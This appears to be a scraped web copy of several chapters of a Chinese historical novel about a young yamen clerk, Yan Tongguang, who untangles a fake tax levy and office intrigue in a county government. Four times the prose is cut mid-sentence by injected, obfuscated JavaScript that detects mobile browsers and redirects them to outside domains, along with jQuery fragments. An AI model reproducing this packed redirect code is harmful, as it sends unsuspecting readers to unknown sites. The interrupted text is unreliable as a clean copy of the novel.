肖姨娘还在拿帕子捂着脸笑,见状朝丫头使了个眼色,“秀云。” 秀云立刻放下橘子去倒茶。 “一个吏而已,老爷何必与那等糊涂蛋一般见识,”肖姨娘柔声安抚道,“回头胡乱打发了就完了。” “罢了,我同你说这些作甚。”胡元宗倒没真与王恒计较,况且经书也不是说打发就打发的,再者相较牛旺那等地头蛇,反倒是王恒这等粗粗笨笨的好些。“对了,下月府尊做寿,我必要与夫人到场贺一贺,一来一回少说七、八日,你留下看家,若有下头的女眷来拜的,见不见都随你,若说起官场事务……” 肖姨娘熟练地接话,“妾晓得,只留拜帖,一切等您和夫人回来做主。” 胡元宗点点头,难得松快了些,“我看你前儿给夫人绣的荷包倒好,颜色纹样都雅致,怎不给我也绣一个?” 肖姨娘吃吃笑道:“妾在后宅,多赖夫人时时照看,自该敬重,哪里像老爷,一天到晚没影儿的时候且多着呢!” 说得胡元宗也笑了,又听肖姨娘戏谑,“既然老爷说了,那妾改日就跟夫人一起绣个山水古画的给老爷……” 用不着改日,明儿一大早我就要当笑话说给夫人听,叫她也乐呵乐呵! 胡元宗:“……” 放肆! 王姓呆子,混账! “……我真是混账啊!”王恒欲哭无泪,抬手就要扇自己巴掌,可又怕疼,半路生生停住,“家中尚有妻儿老母,倘或大人因此恼怒于我该如何是好啊!” 早知道就不去了,起码还能熬些日子。 晏同光:“……” 您这事儿办的,确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14577873|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实有点管头不顾腚。 受此打击,王恒两眼无神,脊背佝偻,越发显得呆头呆脑。 见王恒软趴趴的可怜,晏同光拉着他出了衙门,先小声安慰几句,“事到如今,还望兄长再无保留,这古画可当得真么?” 万一是假的,必然触怒胡元宗,他岂不成了同犯? 王恒差点原地蹦高,额头上青筋都鼓起来了,“贤弟啊,我怎敢糊弄县尊大人!” 外人不知道,王家祖上出过盗墓贼,这画还是当年从坟里带出来的陪葬呢! 你可以质疑我,但绝不能质疑我先人吃饭的本事! “兄长勿怪,勿怪,若果然如此,此事尚有转机。”晏同光笑道,“兄长抬举小弟,拿小弟当个知心人,说了这些话,小弟若再藏着掖着成什么了!依我说,历来文人墨客哪有不喜欢书画文章的?” 其实王恒的想法不错,胡元宗喜好享受,银钱必有来处,可做起来的法儿么……未免太不讲究。 王恒眼睛一亮,旋即迅速暗淡下去,“愚兄本也是这么想的……” 可转头就被知县大人撵出来,好不狼狈。 晏同光觉得此人憨直可爱,就笑了,“兄长是个实诚人,自然也以实诚心对待旁人,可衙门里头人来人往,多少双眼睛都盯着,县尊初来乍到,正要克己复礼,兄长就这么大大方方袖了个卷轴来,谁晓得有没有被人瞧见?” 你这不是光明正大问人家受不受贿嘛! 这谁敢应承? 王恒一听,如遭雷击,如醍醐灌顶,脸上一时红一时白,猛地一拍额头,“哎呀哎呀,悔也悔也!”又朝着晏同光连连作揖,十分道谢。 他前半辈子死读书,险而又险中了秀才,好不容易才在衙门谋了个缺,便是因为不大懂人情世故才如此艰难。 晏同光亦知王恒心眼儿不坏,只是木讷了些。可木讷也有木讷的好处,至少不用提防他害自己。 “兄长折煞我了。”时候不早,晏同光心里还记挂着热乎乎的蹄膀,语速不自觉加快,“其实此事说难也不难,但兄长且先想清楚,纵然县尊留下这画,兄长也未必能得偿所愿。” 人情往来,人情,往来,缺一不可。 当初赵老三肯帮忙,皆因晏父的人情在,双方有来有往,而王恒和胡元宗之间,并无半分交情,此为其一。 其二,对胡元宗而言,只要不触及底线,下头谁当差都无所谓,此乃历任县令和六房之间的默契。 对王恒而言,画和自己的前程算是一场往来交易,但究竟对等不对等,全看胡元宗。 王恒总算听明白晏同光的意思,步子一点点慢下来,最终停在原地,面露挣扎之色。 的确有这种可能。 到了他这一代,祖上积累的家底所剩无几,这幅画算是压箱底的宝贝,如一去不回…… 可他没得选。 若刚才没贸贸然去招惹胡元宗也就罢了,既去了,只能想法子弥补,这画他送也得送,不送,也得送。 良久,王恒才说:“我想明白了,贤弟直说便是。” “法子也不难,若县尊肯接茬,此事便有八分准了。”晏同光示意他附耳过来,“只说这画轴是兄长你不小心得来的,也不知真假,唯恐被歹人诓骗,斗胆请县尊帮忙掌眼……” 只是帮忙鉴定真假,就算给人听见了又何妨?实在算不得行贿。 至于何时有结果,是真是伪,还不是胡元宗自己说了算? 8.朋友 王恒听了,当真如三藏得真经,久旱遇甘霖,只喜得两颊潮红、双手直搓,一个劲儿地“妙,妙啊!” 他原地转了不知多少个圈子,喜不自胜,两道浓眉振翅欲飞,拉着晏同光的手说:“贤弟,贤弟啊,自此你我便是骨肉手足,不是血亲,胜似血亲呐!” 晏同光谦虚一回,“哎,八字还没一撇呢,兄长且先去办正事要紧。” “对对对,瞧我,都欢喜糊涂了!”王恒眉开眼笑,掉头就往回走,走了几步又停下冲他喊,“贤弟,改日请你吃酒啊!” “好!”晏同光也跟着笑,站在原地目送他离去。 等王恒的身影消失在拐角处,晏同光逐渐收敛笑意。 此番七分为王恒,三分为自己,正好试试胡元宗的底细,来日自己若与牛旺斗法,用得上。 别过王恒,晏同光一溜小跑去了卤肉铺子,那摊主老远瞧见他便喊:“可算来了。” “有劳有劳,”晏同光笑道,“衙门里有事略耽搁了些。” “不值甚么,”摊主自后头盖着棉垫子的缸里拎出一个大荷叶包,又有一只拳头大小的粗陶小罐,邀功般絮叨起来,“相公,给您挑了最大最肥的。刚还有两人来要蹄膀,我说没了,他们还不信哩,只道后面那不是?我便说那是人家一早给了钱的……这罐子里是卤汁子,浇着吃滋味儿更浓些。” 晏同光连连谢过,才想着对方怎么忽然这样体贴,却听摊主搓着手问道:“相公,先前我家每月只交一两银子的税,可前儿忽然有人来说,下月却要一两七钱,问就说是甚么人手多了,甚么朝廷规矩,我们也不懂,您看?” 晏同光认真听完,细细问道:“哪个来说的?是只来了你们一家,还是整条街都说了?是只下个月多交呢,还是以后月月多交?来人穿什么衣裳?可曾出示腰牌?有没有说多出来的银子交到哪里去?或者还有什么旁的话?” 卖蹄膀的摊主本是病急乱投医,想着不是熟客,自己日常也未曾打点,未必搭理,不曾想对方竟很上心,一时被问懵了,忙转身叫浑家出来。 他媳妇面粗心细,打从晏同光过来便躲在后头偷听,见状忙将油腻腻的双手往围裙上擦了又擦,先倒了一杯热水端着,陪笑道:“相公吃茶。不止我们一家,昨儿下晌我便悄悄打听了,这街上不少铺面都得了信儿,有涨三钱的,有涨五分的,都是些小店。来人么,二十来岁年纪,黑面庞,粗声粗气,怪凶悍的,相公,我们哪里敢要腰牌看呢?” 两口子日夜操劳,赚的是辛苦钱,一年能有三十两就谢天谢地,且都是边挣边花,勉强供养一家子罢了。 若以后真的要每月多开销七钱,一年就是八、九两银子,还叫人怎么活呢? 二十多岁的黑脸汉子衙门里比比皆是,这个描述也指望不上,不过一听都是些小店,晏同光心里就有数了。 纵然胡元宗是个贪官,也是要脸面的贪官,王恒悄悄给他送画都要三推四让的,怎么可能刚来就开始公然刮地皮? 即便要刮,以胡元宗的身份,自然要从那些乡绅、财主和大店下手,随便找个由头便可名正言顺,几百几千两的孝敬玩儿似的,指望这点儿小店的三钱五厘够干什么? 晏同光慢慢往街道两侧看了几眼,心中飞快盘算: 整条街绵延数里,共有大小铺面、摊位上千,七成都是小买卖,哪怕被勒索的只占三成,一家照五钱,加起来便不是个小数目。 如此大的动静,必非一人所为,惹了其中一个,就是惹了一窝。 只不知到底是谁这样丧心病狂。 “此事非同小可,”晏同光大略有了思路,低声对那夫妻说,“你们且先不要声张,待我慢慢想个法儿,过几日再来。” 夫妇二人万万没想到他竟真肯帮忙,千恩万谢,又要包几斤烧肉与他。 晏同光坚决不受,见他们神色惶惶,惟恐不给银子不办事,复又笑着安抚道:“我若要你们的东西,跟他们有什么分别?” 家去时晏母已经等着了,见他回来才放心,“不是说今日早散衙,怎得这早晚才回来?” “也是巧了,遇见几桩说大不大,说小不小的事……” 如今家里有了进项,晏母也不拦着儿子“大手笔”买肉,主动将那大蹄膀放在瓦罐里重新煨热,又浇卤汁,“真好。” 这家蹄膀做得极好,肉是好肉,料是好料,更从不吝啬柴火,一整宿炖得稀烂,肥腻腻肉皮子颤巍巍,红棕酱汁胶一般粘稠挂壁,颜色香味都渗到蹄膀最里头去了。 娘儿俩美美吃了一顿,心满意足,又商量着明天将剩下的放些干豆角子、油豆腐一起炖了吃。 初二不上衙,初三晏同光在衙门里暗暗观察,又借故找赵老三问过今年新动向,确认胡元宗根本没有私自下令增加赋税,朝廷更无相关动向,便肯定了自己的猜测。 当天傍晚,他就往薛家针线去了,说有极好的花样子,要尽快交给秀云姑娘。 第二天一早,秀云往薛记针线来了趟,马上就急匆匆回去了。 中午胡元宗回后院用饭,肖姨娘直接在饭桌上把这事儿说了,“丫头出门采买,不曾想竟听见这样的话,真是吓坏了,回来同妾说,妾也是六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14593116|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神无主。老爷,夫人,这可如何是好?” “荒唐!”胡元宗气得撂了筷子,“本官才来就弄鬼,真当本官是泥捏的不成?百姓浑沌,不辨真伪,若事情传开,朝廷的脸面、本官的脸面还要不要了!” 君子爱财,取之有道,他虽不自诩清官,但向来讲究你情我愿,从来不做这等对老百姓赶尽杀绝的事。 康阳县令的位子还没坐热乎呢,竟就有人在外面打着他的名号招摇撞骗了! 倘或被上官知晓,或被谁参上一本,乌纱就算到头了! “老爷,莫要气坏身子,”夫人也没了胃口,又问肖姨娘,“此事恐牵连不小,你那丫头可听得真切?” 老爷初来乍到,本就同下面的人不尴不尬的,万一闹了误会必成死结,不能因为肖姨娘是自己人就偏听偏信。 “哎呦夫人,我什么时候哄过您呀!”肖姨娘拉着她的手,娇滴滴道,“其实问丫头顶什么用呢?她也说不明白,直接打发咱们的人借采买之名悄悄出去问问就完了,没准儿还能有人认得假传话那人呢。届时顺藤摸瓜,找出祸头子来正好。” 夫人一听,拍拍她的手,柔声道:“你这法子不错。” 又看胡元宗,“老爷,您说呢?” 妻妾同心,且事情尚有挽回余地,胡元宗迅速平复心情,“也罢,就这样办。” 胡元宗那边如何操作暂且不提,二月初四一大早,刚到衙门的晏同光就见王恒满面红光地冲自己使眼色。 晏同光了然,朝他遥遥拱手,做了个“恭喜”的嘴型。 经此一役,王恒便将晏同光当个知己,十分交好,日常主动答疑解惑自不必说,偶尔抢来协调办差的机会,也必要捎带上晏同光与他分润。 两天下来,刑房上下俱都看出端倪,连不大爱管闲事的赵老三也忍不住私下里文晏同光,“你又干了什么,竟投了那王呆子的脾胃?” 晏同光哈哈大笑,“实在机缘巧合,我与他都好丹青一道,偶然那日说了几回就这么着了。” 既然赵老三把王恒排在经书之中最后一位,必有不喜,如果如实相告,只怕赵老三心下不快,还是不说的好。 以王恒日常古古怪怪的举止,赵老三并不起疑,只嗤笑道:“那就是个读书读傻了的夯货,你与他日常说笑便罢,旁的不必当真。” 晏同光嘴上应了,心下却道,或许赵老三这回看走眼了。 一个热血上头敢直接闯到县令跟前去的人,一个敢拿着传家宝赌一把的人,光是这份破釜沉舟的勇气就令人咋舌,怎么可能真像表现出来的那般无用? 9.牛兴 王恒进衙门的年岁都快赶上晏同光的年纪了,哪怕不刻意钻营,各处恩怨往来也都一清二楚,简直是本行走的县志,短短数日就跟晏同光讲了许多外头不知道的辛秘,又邀请他去家中做客。 王恒长子只比晏同光小一岁,正被按着读书,奈何似乎不是这块料,整天背了这本就忘那本。 晏同光来了,王恒便拿他做稿子,对儿子苦口婆心道:“你瞧瞧人家,再瞧瞧自己,今年都十七了,比那孙山尚且不如,还不多用心些?今年下场,我看又悬!” 晏同光一听,这还了得?不是给我为仇积怨么!连忙劝和起来,“话不好这样讲,古人云,天生我材必有用……” 话音未落,小王便满脸幽怨的瞅着他,小声嘟囔起来,“你不来,我爹也不会这么说,偏你做好人。” 王恒大怒,“他跟你爹平辈相称,什么你啊我的,叫叔!” 小王立刻涨红脸不干了,指着晏同光吆喝,“他才几岁啊?!” 晏同光默默后退一步,别开脸。 别看我,我也不想有你这么大一个侄儿。 “几岁也是你叔!”王恒喝道,“少婆婆妈妈的,我且问你,昨儿叫你背的那篇书可背完了吗?要临的十篇大字也都写完了?三天打鱼两天晒网的,成日只贪图玩乐,能考中吗?书是给我读的?还不是为了你好!” 十七岁正是好面子的时候,小王一开始还听着,谁知王恒当着外人数落个没完,不禁羞愤难当,忍不住还嘴,“您都考到三十多了,不也还是个秀才吗?” 晏同光:“……” 嘶,这小子读书如何暂且不论,胆子确实很大。 王恒顿时被气个倒仰,唾沫横飞,“逆子!” 他一边叫骂一边四处乱看,随手就要抓起条凳来打,结果拿了拿,没拿动,弯腰脱下两只鞋子就朝小王打过来。 小王见势不妙,拔腿就跑。 王恒赤着脚追到门口,怕被街坊邻居看见丢人,也觉得冻脚,忙扶着门框站住,左右脚倒腾着骂了几句。 扭头见晏同光缩在墙角装没看见的,老脸微红,不禁讪讪道:“孽障被我惯坏了。” 晏同光干巴巴的笑了几声,“长大就好了。” 王恒只是叹气。 长大长大,眼前这位忘年交去岁也是十七,可为人处世硬是要的,再看自家儿子…… 唉,都是债! 晏同光看破不说破。 小王父母、祖父母俱在,又不愁吃穿,生活幸福,没经过任何磋磨,自然天真烂漫,不晓得读书的厉害,一时半刻哪里是说得通的。 闹了这么一出,王恒亦觉面上无光,便拉着他出门,找了城中一家酒楼。 才进门便有跑堂的笑脸迎上来,“哟,王相公您可来了,头几日掌柜的还同小的念叨呢!快请里头走,那阁儿还给您留着呢!还是老几样?” 王恒此时便换了一副神态,既不像在衙门里那般唯唯诺诺,也不像在家里那样横行霸道,身板端着,下巴抬着,罕见地显出几分端庄和倨傲来,对跑堂的一整套唱念做打,也只从鼻腔中丢出一个轻飘飘的“嗯。” 想着今儿多一个人,便又补一句,“再来一个羊头签,一碗香煎鱼,要弄得脆脆的。” “好咧!”跑堂弯着腰在前头引路,亲自推了门,将里面座位的上并不存在的尘土装模作样抹了几下才请王恒坐下,又试探性的看向晏同光,“敢问这位相公?” 王恒便与他说:“这是晏相公,别看年纪轻轻,却也是正经的秀才,如今略在衙门里沾沾手,日后他来,便是同我一样的。” 跑堂忙行礼,“小的有眼不识泰山,原来是晏相公,怪道一表人才,文气纵横!” 晏同光被他奉承得头皮发麻,“你只管去忙就是。” 但凡我现在是个举人也就信了。 跑堂的笑容可掬,“相公客气,小的什么人?有幸在这里伺候两位相公便是天大的福气,哪里还有什么别的要忙呢?” 王恒便发话了,“你去吧,我们自在些说话。” 得了这一句,那跑堂的才倒退着出去。 见晏同光好奇,王恒也不瞒着,“早年这酒楼掌柜的同人打官司,对面的人雇了个厉害的状师,十分难缠,我略帮了些小忙……” 他虽说得轻飘飘的,可晏同光看这酒楼的规模,还有上下一干人员对王恒毕恭毕敬的态度,想来绝非王恒说的这样简单。 王恒颇有些感慨,“贤弟,别怪愚兄往钱眼里钻,咱们虽有功名,可在外头人眼里也不过是些穷书生穷秀才罢了,有几人真看得上眼?背后说三道四的且多着呢。可进了衙门就不一样了,固然名声不好听,可多的是实惠,你我不过小小经书便能弄权,这些人见了,竟也称起相公来,你说好笑不好笑?” 几个月下来,晏同光对此有了更深刻的了解,闻言自是唏嘘。 稍顷跑堂的又带着茶博士回来,先送龙眼、榛子、蜜煎金橘、冬瓜脯两干两湿四个果碟,那茶博士则在旁边煮洗冲泡,与二人分别点了一个松鹤迎祥,一个岁寒三友的茶汤出来,供他们谈笑开胃。 一刻钟后饭菜上齐,茶博士退下,两人先吃几口,又烫一壶热热的烧酒吃了。 席间一道用牛肉、羊肉、鸭肉和虾肉做的四色肉圆十分美味,劲道弹牙,汤汁也清爽,鲜甜可口,晏同光便额外要了一例,叫人送去家中给母亲享用。 王恒见了,十分赞叹,“真是孝子啊。”又不许他单独付钱,要记在自己账上。 晏同光推辞不过,只得道谢。 不知不觉一壶酒下肚,酒意上头,王恒说话更放得开,“贤弟今年也十八了,又是这样的相貌和人品,怎不见得讨一房贤妻?” 晏同光摇头失笑,“家徒四壁,两手空空,怎好误人韶华?以后再说吧。” 爹娘先后生病,又没了进项,早把家底子掏空了,现下算上他在庆云寺和衙门得的那些赏钱,家里总共不过三五两碎银,够干什么的?倘或有个三病两灾的,他跟老娘都得去喝西北风,还是别拖累好人家的姑娘了。 “哎,常言道机不可失,失不再来,缘分更是如此,若果然有中意的姑娘,只管跟老哥开口,你我兄弟骨肉至亲……”王恒大咧咧道,又吃一杯酒,说,“不过你年轻,脑子又灵光,若日后果然中举,说不得真能得个一官半职的,届时不怕没有好姑娘相配,等等也无妨。” 秀才和举人的身份、地位何止天差地别,能接触到的人当然也大不相同,不然为何那么多读书人高中后便想着休妻呢? 这话晏同光不好接,反而问他,“兄长不过而立之年,正是读书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600680|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进取的好时光,怎不见下场?” “嗨,”王恒一听便摆摆手,自嘲道,“人贵有自知之明,不怕你笑话,当初愚兄这个秀才都不知是怎么中的呢!祖坟哪能日日冒青烟?且进得这衙门,日日勾心斗角,营营汲汲,哪里能沉得下心来用功?圣贤书早忘光啦!愚兄这辈子就这样了,若老天眷顾时来运转,保不齐能混个典吏当当,拉扯拉扯亲朋好友;若不济,也就这么着吧。” 谁不想皇榜登科跨马游街?可想归想,得有那个本事呀! 晏同光心有戚戚,跟着唏嘘一回,见王恒喝得面色潮红,屋里又点着炉子,生怕气闷,忙伸手推窗透气,冷不防瞧见街上几个人也往这酒楼里来,倒有些面熟。 王恒也欠身瞅了一眼,“啧,蛮牛出圈!” 晏同光忍俊不禁。 来的那几个跟牛旺算是一家子,不过牛旺是本家的,这几个应该是分家旁支的。 见王恒只是取笑一句就完了,并没有日常说起牛旺时的愤愤不平,晏同光便问:“兄长似乎并不讨厌他们?” 王恒咬一口羊头签子,吃得满口是油,“你说牛兴?他虽不是什么好货,睚眦必报,但不像牛旺那般爱招惹是非,你不惹他,他便不惹你。” 之前晏同光打探牛旺底细,自然知道牛兴此人,只是涉及到深处,赵老三便有些藏着掖着,不肯细说,晏同光也不好多问。 现在王恒话匣子打开,他便趁机多打探些,“他似乎比牛旺还大三两岁,又是户房经书,过两年牛旺任满,只怕就是他接班了罢?” “你只知其一,不知其二!”王恒鲜少与人这样闲聊,加上喝了点酒,不觉谈兴大发,身体微微前倾,神秘兮兮道:“那牛旺有个妹夫也在刑房,素来唯他马首是瞻……” 原来牛旺幼年丧母,父亲很快另娶,继室极有手段,哄得牛父将这个儿子丢在脑后,年幼的牛旺有亲爹却胜似丧父,只跟年幼的妹妹相依为命,兄妹俩情分极深。 后来牛父渐渐年迈,却始终没能再生出儿子,又记起来牛旺,奈何此刻早已父子离心,哄不回来了。 “因牛父之事,牛旺只对本家有点好脸色,旁支不过捎带着,倒是对妹子极好,亲自挑选人家婚配。妹夫家里做着买卖,对这个姐夫心服口服,叫往东绝不往西。”说得口干舌燥的王恒滋溜吸了口酒,“人家都说,牛旺有意扶妹夫上位呢。” “那牛家人能愿意?”晏同光问。 “不愿意又如何?”王恒往嘴里丢了颗鹌鹑蛋,嗤笑道,“这是衙门的差事,又不是牛家私产,任由他们族里处置。况且牛旺已经往衙门里划拉了不少自家人,公里公道的说,做的也够了。” 典吏交接非同小可,需得先有本房典吏、吏房典吏推荐,或人数过半的经书联合推举,然后县令通过,再写个专门的文书递交到所在州府,呈报给布政司衙门,期间没有任何异议的,才能由布政司发放执照公文。 后续布政司衙门还会将更新的典吏名录连同本年度地方考核等一并递交到吏部,由吏部统一登记造册,以备后期查验。 不过实际操作中,地方县令很少直接干预典吏人选,大多交由吏房典吏牵头,然后将备选人名单公示,公示期间内如果无人反对,就直接报上去了。 而牛旺本人就是吏房典吏,形势对他非常有利。 10.殴打 夜里躺在炕上,晏同光翻来覆去地想,如果自己是牛旺会怎么做。 可想到最后他却觉得,恐怕也会做出同样的选择。 一边是无论自己做什么都觉得理所应当,甚至犹觉不足的本家,另一边却是对自己死心塌地、感恩戴德的妹妹一家…… 况且他妹夫颇有家资,不愁上位后压制不住部分反弹的牛家人。 晏同光担心的是牛旺的妹夫品行如何。 不是一家人,不进一家门,他妹夫现在瞧着老实低调,又因出手大方颇有人缘,可自古无商不奸,万一他较之牛旺更恶…… 不过现在牛旺还是吏房典吏,想太多也无用,晏同光又翻了个身,迷迷糊糊睡过去了。 因心里存着事儿,他睡得并不安稳,早起便觉眉眼缠涩,头颅发昏,接连用冷水搓了几把脸才缓过来。 刚到衙门,晏同光就觉不自在,打听后才知道胡元宗十分雷厉风行,满打满算今天才是“加征赋税”事件报上去的第三日,衙门里就出了告示,并有专门的衙役四处张贴,沿街敲锣打鼓,一遍又一遍念给不识字的百姓听。 告示有三,头一项就是一切商业经营照旧,如有着实经营困难的,可来衙门申报人员名单和实际收入,胡元宗会在核实后亲自向朝廷递交折子,争取减税,帮百姓度过难关。 第二项就是严禁公门中人乱拿乱要,诸如吃饭饮酒不给钱等事,更要严令禁止。一经发现,加倍惩处。 最后一条不过老生常谈,不提也罢。 三条混在一起,不知内情的人看了只道这是新县令要收买人心,施恩与百姓好,换个好名声。 外头百姓们听了,无不欢欣鼓舞,赞不绝口。 又因县试在即,城内多有书生活动,少不得之乎者也,更有甚者还现场赋诗一首。 无论大老爷真心还是假意,至少他愿意这么干,百姓也真能得到实惠,这就够了。 傍晚再次路过那蹄膀铺子时,夫妻二人老远就喊住晏同光,万分感谢。 以前别说求告无门,便是好不容易找到门路,没银子能办成什么事儿?衙门口朝南开,有理无钱莫进来,这是民间公认的道理了。 可如今这位年轻的相公只一句话就帮大家把事儿办成,当真是救命的活菩萨。 “哎,此事勿要张扬。”晏同光也替他们高兴,说了几句玩笑话,“若你们走了,我可去哪里吃这好蹄膀呢!不过吾辈本分而已,不必介怀。” 回去的路上,他仿佛看到一种奇异而陌生的情绪自心底萌生,渐渐蔓延,叫他四肢百骸都轻飘飘的舒坦。 他曾以为只有黄榜登科出将入相才能施展抱负,没想到现如今只是披一张衙门的皮,竟已能为百姓做事。 多么奇妙,多么不可思议! 沿街那些小商小贩们发自内心的笑,百姓们质朴而直接的欢喜,仿佛一坛陈酿,醇厚悠长,令他醺醺欲醉。 人逢喜事精神爽,哪怕晏同光无意宣扬,晚间也被母亲看了出来,“我瞧你今儿个眉宇舒展,面泛喜色,可是有什么好事吗?” “知我者,母亲也。”事情已然解决,晏同光再无顾忌,便把事情原委与母亲说了。 晏母也跟着骂几句,“真是良心都坏了。”又嘱咐儿子不要到处声张,“你才去衙门不久,一干同僚人品心性皆不知晓,切忌交浅而言深,倘或给主使者知道,只怕要糟。” 断了人家的财路,不报复你才怪呢。 这正是晏同光想的,“母亲说的是。” 晏母点点头,抬手摸了摸他的头发,欣慰道:“我儿大了,能为民做主啦。” 晏同光被夸得不好意思,烛火映照下的脸上显出几分少年人的稚气和羞涩,“不过举手之劳,为民做主这几个字太重,怕只有父母官才能担起来。” 晏母摇头,正色道:“这话不对。这人呐,不能眼里没人,更不能没有自己,难不成当官的就没有坏人,为吏的就只能做恶事吗?在娘看来,对老百姓好的,就是为民做主。” 晏同光听得认真,“娘,您真厉害,要是您去做官,一定是个为国为民的好官。” 晏母失笑,“我哪里能行。” 晏同光也笑,“怎么就不行?您刚还说人不能眼里没有自己呢……” 原本晏同光不晓得谁是幕后主使,可第二天突然听见院子里闹起来,从窗口探头一看,就见斜对过的吏房那边牛旺异常暴躁,突然动手打了一名小书,一边打一边指桑骂槐,“狗杂种,胆子大了,翻了天了,老爷说的话你也敢当耳旁风!有本事上头告状去,看谁给你撑腰!” 他似乎吃了酒,双颊赤红,身形摇晃,但酒壮人胆,出手更加肆无忌惮。 那小书不防备,正面挨了一拳,哀嚎一声扑倒在地,又被牛旺追着踢,鼻腔里都流出血来。 一时间各房的人都挤出来看,王恒皱眉,“简直目无王法!” 衙门里头都敢这样,出去还不杀人放火啊! 晏同光下意识去观察牛兴的表情,发现他自始至终都未曾插手,甚至在牛旺打人时拧住眉头,转身进屋去了。 或许牛兴也不大赞成这种做派,但终究是自家人,不好让对方公然下不来台,故而眼不见为净。 大约有良心,但肯定不多。 可以利用。 哀嚎声还在继续,不少人看不下去,纷纷出言劝和,牛旺又踢了几脚,这才满嘴不干不净的去了。 那小书完全被打懵了,蜷缩在地不知所措,还是附近几个人过去扶起来,又给他擦脸。 有人好心劝慰,“我瞧过了,是皮外伤,你告个假,家去养几日就好了,不要闹大……” 这样的拳脚摩擦,牛旺一句“办差不得力”“怒极提点,失了分寸”就能将干系撇开,就算告状也不能怎么着,顶多赔个不是、给几个钱儿就完事儿了。 可这么一来就把人得罪死了,日后只怕这小书少不得小鞋穿,当真生不如死。 那小书比晏同光还小,眉骨、鼻子都被打破,大半张脸上都是血,听过这话就哭了,血水泪水混在一处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14608374|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哗哗直流,“几位大哥,我只不晓得自己错在哪里……” 若真是我办错了差事,自然任打任罚,可怎么能随便打人呢? 众人都是唏嘘,你一五,我一十,凑几两零散银子与他,又派人送他去医馆,此事就算揭过。 晏同光把身上的铜板都给出去,越发觉得牛旺是个祸害,该尽早铲除才是。 正好见赵老三迎面过来,晏同光便问:“姓牛的今儿怎么这么大火气?” 其实各房典吏的脾气都不大好,或者说好脾气的人镇不住下头的牛鬼蛇神,坐不到典吏的位置,故而呵斥、动手是常有的。 可那些也不过点到即止,像今天这样无缘无故直接把人打出血来的,实属罕见。 赵老三盯着牛旺消失的方向嗤笑出声,“能有什么,到嘴的鸭子飞了呗!” 见晏同光“一脸茫然”,赵老三啧了声,“你以为那告示怎么来的?” 晏同光便“恍然大悟”,继而震惊道:“难不成他竟……” 既然连赵老三都这么说,此事定然少不了牛旺的手笔。可他是吏房典吏,收税纳租向来是户房的事,后者岂容他越界? “户房典吏当初便是承牛旺的情上位,牛家又有人在户房做经书,两边狼狈为奸不是一天两天了。”曾有人告户房众人滥权,结果文书没到县令手中就被牛旺按下,大事化小,小事化无。 赵老三不以为然,“不然你以为为什么这些人都砸锅卖铁、削尖脑袋往典吏的位子上挤,若没银子,谁稀罕这个!” 傻子都知道有点儿权势能赚油水,旁人自然不能白白给了你这个肥缺。当经书也好,做典吏也罢,都要银子开路。 像经书,若本人没有功名,家中长辈也没有在衙门的,纵然能进,至少要三十两,这不是个小数目。 照经书五百钱的月例,按部就班得猴年马月才能回本?不刮地皮做什么? 至于典吏,交的就更多了,现在的行市是二百两,酒席另算。 寻常人家一年到头勒紧裤腰带才能攒几个钱儿,可还是有那么多人砸锅卖铁也要凑出来。 而典吏过明路的俸禄一年只得十二两,若果然只靠那点儿,要将近二十年不吃不喝才能还完债,怎么过活?靠的还不是捞油水! 晏同光沉默了下,“所以您一早就知道。” 别人上赶着求办事儿塞好处,和主动去祸害人,逼得人家家破人亡,完全是两码事。 赵老三正低头摆弄烟袋锅子,没瞧见晏同光脸上微妙的神色,浑不在意道:“这里头谁又是傻子,左不过是他伙同户房联络了巡街衙役来的这一出,若有胆子大不应承的商户,那些衙役便叫几个街头的泼皮无赖去店里闹事,若有人报官,只管慢吞吞的去,各打五十大板就完了……” 那些无赖不曾□□烧,只把客人们吓得不敢进门,又不犯法,天王老子来了也奈何不得。 纵然大店也经不起这样折腾,更莫说那些风雨飘摇的小商小贩,几回下来就都老实了,由不得他们不乖乖交银子。 11.回报 类似的手段晏同光不是没听说过,但听旁人说和听身边亲近的人说完全是两种感受。 